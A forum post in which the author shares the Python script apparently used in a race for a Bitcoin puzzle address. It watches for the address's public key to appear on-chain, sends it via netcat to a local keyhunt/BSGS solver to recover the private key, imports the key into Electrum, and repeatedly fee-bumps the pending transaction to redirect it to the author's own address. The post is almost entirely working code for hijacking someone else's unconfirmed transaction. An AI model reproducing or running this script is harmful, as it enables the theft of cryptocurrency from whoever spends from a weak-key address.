Several people asked me via private message to send them the script I used.
Here is the script.
import requests
import time
import subprocess
import os
import re
from datetime import datetime
import secp256k1 as ice
import json
import logging
# Setup logging
logging.basicConfig(level=logging.INFO)
def get_exact_public_key(address):
url = f'https://mempool.space/api/address/{address}/txs/chain'
response = requests.get(url)
if response.status_code != 200:
raise Exception(f"Error fetching transactions: {response.status_code}")
transactions = response.json()
for tx in transactions:
for vin in tx['vin']:
if 'scriptsig' in vin:
scriptsig = vin['scriptsig']
# Extract the public key from the scriptSig
# This assumes a standard P2PKH transaction where the scriptSig is in the format:
# <signature> <pubkey>
pubkey = scriptsig[-66:] # The public key is typically 66 characters long in hex
return pubkey
return None
def save_public_key(pubkey):
with open("66.txt", "w") as f:
f.write(pubkey)
def run_keyhunt(pubkey):
command = f"echo '{pubkey} 20000000000000000:3ffffffffffffffff' | nc -v localhost 8080"
logging.info(f"Running command: {command}")
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
logging.info(f"Keyhunt stdout: {result.stdout}")
logging.error(f"Keyhunt stderr: {result.stderr}")
return result.stdout
def extract_private_key():
try:
with open("KEYFOUNDKEYFOUND.txt", "r") as f:
for line in f:
if "Key found privkey" in line:
privkey = line.split("Key found privkey")[1].strip()
return privkey
except FileNotFoundError:
logging.error("KEYFOUNDKEYFOUND.txt not found")
return None
def convert_to_wif(privkey):
return ice.btc_pvk_to_wif(privkey)
def start_electrum_daemon():
command = "electrum daemon -d"
subprocess.run(command, shell=True)
time.sleep(1)
def stop_electrum_daemon():
command = "electrum stop"
subprocess.run(command, shell=True)
time.sleep(1)
def restore_wallet(wif_key, password):
command = f"electrum -w /root/.electrum/wallets/66 restore {wif_key} --password {password}"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
logging.info(f"restore_wallet output: {result.stdout} {result.stderr}")
def load_wallet(password):
command = f"electrum load_wallet -w /root/.electrum/wallets/66 --password {password}"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
logging.info(f"load_wallet output: {result.stdout} {result.stderr}")
def list_transactions():
command = "electrum onchain_history -w /root/.electrum/wallets/66"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
logging.info(f"history output: {result.stdout} {result.stderr}")
try:
transactions = json.loads(result.stdout)
return transactions
except json.JSONDecodeError:
logging.error("Failed to decode JSON from electrum history output")
return []
def bump_fee_and_redirect(txid, new_address, new_fee_rate):
command = f"electrum bumpfee {txid} {new_fee_rate} --destination {new_address}"
logging.info(f"Running bumpfee command: {command}")
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
logging.info(f"bumpfee stdout: {result.stdout}")
logging.error(f"bumpfee stderr: {result.stderr}")
def main():
wallet_path = "/root/.electrum/wallets/66"
password = "Satoshi"
new_address = "new_address_here"
new_fee_rate = 0.00018
max_bumps = 24 # Maximum number of fee bumps
bump_interval = 2 # Time to wait between bumps in seconds
address = "197kFKvMHoRJPXktc8xJwMjeTuE9xijBQ"
while True:
logging.info("Running scan...")
pubkey = get_exact_public_key(address)
if pubkey:
logging.info(f"Extracted Public Key: {pubkey}")
save_public_key(pubkey)
# Uncomment to run Keyhunt (ensure you have the keyhunt tool and the correct parameters)
run_keyhunt(pubkey)
if os.path.exists("KEYFOUNDKEYFOUND.txt"):
privkey = extract_private_key()
if privkey:
logging.info(f"Private Key: {privkey}")
wif_key = convert_to_wif(privkey)
logging.info(f"WIF Key: {wif_key}")
stop_electrum_daemon()
start_electrum_daemon()
restore_wallet(wif_key, password)
load_wallet(password)
bumps_remaining = max_bumps
while bumps_remaining > 0:
transactions_data = list_transactions()
transactions = transactions_data.get('transactions', [])
# Check if there are unconfirmed transactions
unconfirmed_transactions = [tx for tx in transactions if tx.get('confirmations') == 0]
if unconfirmed_transactions:
for tx in unconfirmed_transactions:
bump_fee_and_redirect(tx['txid'], new_address, new_fee_rate)
bumps_remaining -= 1
if bumps_remaining <= 0:
break
else:
logging.info("bumpfee output: No Transactions to bumpfee")
if bumps_remaining > 0:
logging.info(f"Waiting for {bump_interval} seconds before next bump...")
time.sleep(bump_interval)
stop_electrum_daemon()
break
time.sleep(1)
if __name__ == "__main__":
main()
I don't have an automatic fee increase like Alberto does. My fee was static at about $12 (0.00018 BTC), while Alberto raised his to $17 and won. In addition to Electrum, these other codes can also be used as a backup.
You need to install the BSGS server to work with this one